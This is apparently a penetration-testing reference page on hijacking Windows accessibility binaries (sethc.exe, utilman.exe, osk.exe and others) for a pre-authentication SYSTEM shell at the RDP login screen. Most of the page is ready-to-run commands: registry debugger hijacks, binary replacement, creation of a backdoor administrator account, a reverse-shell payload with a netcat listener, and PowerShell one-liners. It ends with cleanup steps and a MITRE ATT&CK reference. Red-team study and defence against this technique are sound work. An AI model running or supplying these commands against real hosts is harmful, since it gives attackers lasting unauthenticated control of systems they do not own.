# Sticky Keys and Utilman RDP Backdoor – Pre-Auth SYSTEM Shell

- **URL:** https://hackindex.io/services/rdp/persistence/sticky-keys-utilman-backdoor
- **Path:** RDP > Persistence
- **Up:** [Persistence](https://hackindex.io/services/rdp/persistence.md)
- **Published:** 2026-03-11
- **Updated:** 2026-03-11

Windows accessibility features: Sticky Keys (`sethc.exe`), Utility Manager (`utilman.exe`), and others: are invokable from the RDP login screen before any user authenticates. They run as SYSTEM. Replacing these binaries with `cmd.exe`, or redirecting them via a registry debugger key, gives you a SYSTEM shell accessible from the RDP login screen on every subsequent connection: no credentials required.

This is a persistence technique. You need admin or SYSTEM on the host first to plant it. The payoff is re-entry: if your credentials are rotated or your current session is lost, you can return to the host and get a SYSTEM shell from the login screen alone.

## Sticky keys RDP backdoor via registry debugger hijack

The Image File Execution Options (IFEO) debugger key causes Windows to launch a specified binary whenever a target executable is invoked. This avoids replacing the original binary on disk, making it slightly less obvious than direct replacement and easier to remove.

Backdoor `utilman.exe` to launch `cmd.exe` instead:

```bash
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
```

Backdoor `sethc.exe`:

```bash
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
```

Plant both for redundancy. Trigger from the RDP login screen:

- **utilman.exe**: Press `Windows Key + U` at the login screen
- **sethc.exe**: Press `Shift` five times at the login screen

A SYSTEM `cmd.exe` window opens over the login screen. From there you can add users, reset passwords, or execute any payload:

```bash
net user backdoor Password123! /add
net localgroup administrators backdoor /add
```

## Method 2 - Binary Replacement

Direct replacement is more reliable on older Windows versions where IFEO is not processed for accessibility features:

Take ownership of the binary and grant write access:

```bash
takeown /f C:\Windows\System32\sethc.exe
icacls C:\Windows\System32\sethc.exe /grant administrators:F
copy C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
```

For `utilman.exe`:

```bash
takeown /f C:\Windows\System32\utilman.exe
icacls C:\Windows\System32\utilman.exe /grant administrators:F
copy C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe
```

On Windows 10 and Server 2016+, Windows File Protection may restore the original binary. The IFEO registry method is more resilient on modern targets.

## Other Backdooring Targets

Any accessibility binary invokable from the login screen works. Additional options:

| Binary | Trigger |
| --- | --- |
| `osk.exe` | On-screen keyboard: Windows + U, then click keyboard |
| `Magnify.exe` | Magnifier: Windows + U, then click magnifier |
| `Narrator.exe` | Narrator: Windows + U, then click narrator |
| `DisplaySwitch.exe` | Display switch: Windows + P |

Backdoor multiple targets to increase the chance one survives patching or cleanup:

```bash
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Magnify.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
```

## Dropping a Reverse Shell Instead of cmd.exe

Instead of pointing the debugger key at `cmd.exe`, point it at a hosted payload for a callback shell:

```bash
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\Windows\Temp\shell.exe" /f
```

Place your payload at `C:\Windows\Temp\shell.exe` first. When the login screen trigger fires, your payload executes as SYSTEM and calls back to your listener:

```bash
nc -lvnp $LPORT
```

## PowerShell One-Liner

For quick deployment from a PowerShell session:

```bash
New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" -Name Debugger -Value "C:\windows\system32\cmd.exe" -PropertyType String -Force
New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" -Name Debugger -Value "C:\windows\system32\cmd.exe" -PropertyType String -Force
```

## Cleanup

Remove both keys after the engagement:

```bash
REG DELETE "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /v Debugger /f
REG DELETE "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /f
```

If you used binary replacement, restore the originals from the Windows install media or a known-good copy before cleaning up.

## References

- [MITRE ATT&CK T1546.008](https://attack.mitre.org/techniques/T1546/008/) - Accessibility Features Technique documentation covering all backdoorable binaries and detection guidance.